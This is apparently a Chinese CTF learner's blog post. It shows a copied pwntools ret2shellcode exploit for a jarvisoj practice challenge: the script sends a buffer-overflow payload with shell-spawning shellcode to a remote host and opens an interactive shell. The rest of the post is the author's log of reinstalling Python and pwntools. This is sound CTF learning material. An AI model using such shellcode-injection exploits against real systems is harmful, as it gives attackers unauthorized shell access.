今天是个好日子，今天是12.21，冬至

今天不是好日子，做一道简单题的时候发现pwntools没装好呜呜呜

这是一道基础的ret2shellcode，但是也不会做的我直奔wp去抄exp

from pwn import *

p = remote('pwn2.jarvisoj.com', 9877)

#p = process("./level1")

#接收从下标为第14位到倒数第二位的字符串

text = p.recvline()[14:-2]

print text[14:-2]

#将text字符串通过int函数转换为16进制的地址，作为跳转的地址

buf_addr = int(text, 16)

shellcode = asm(shellcraft.sh())

payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr)

p.send(payload)

p.interactive()

然后运行，报错：

Traceback (most recent call last):

SyntaxError: invalid syntax

发现是shellcraft.sh()这里出了问题

啊这。。。这还能怎么办呢，重装pwntools吧呜呜呜

但是又遇到了问题

那，只好用python3安装pwntools了

首先安装vm tools

sudo apt-get install vim

执行所有升级

sudo apt-get update

sudo apt-get upgrade -y

安装编译Python源程序所需的包

sudo apt install build-essential -y

sudo apt install libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev -y

sudo apt-get install zlib1g-dev

下载Python 3.7源程序压缩包

wget https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz

解压缩

tar -xzvf Python-3.7.1.tgz

配置

cd Python-3.7.1

./configure --enable-optimizations

编译和安装Python 3.7

sudo make

sudo make install#这里遇到了报错，根据提示改成了sudo -H make install，完成

安装、升级、卸载pip和更换pip源

sudo apt-get install python3-pip

sudo pip3 install --upgrade pip#这条报错，改成-H)之后发现没有影响

sudo apt-get remove python3-pip

sudo pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple#这条也是warning，改成-H了，好像干了点坏事)

安装git

sudo apt install git

进行git配置

sudo git config --global user.name ‘自定义用户名’

sudo git config --global user.email ‘邮箱’

查看配置

git config –list

pwntools

sudo apt-get install python python-pip python-dev libssl-dev libffi-dev build-essential#这条依旧报错，然后有个手滑，加了-H

sudo pip install -U setuptools

sudo pip install --upgrade pip

sudo pip install --upgrade pwntools#上面三条全部报错，没加-H，然后飙红了，给前两条加了最后一条没加，貌似成功了

装好了，还是比较蠢的2333
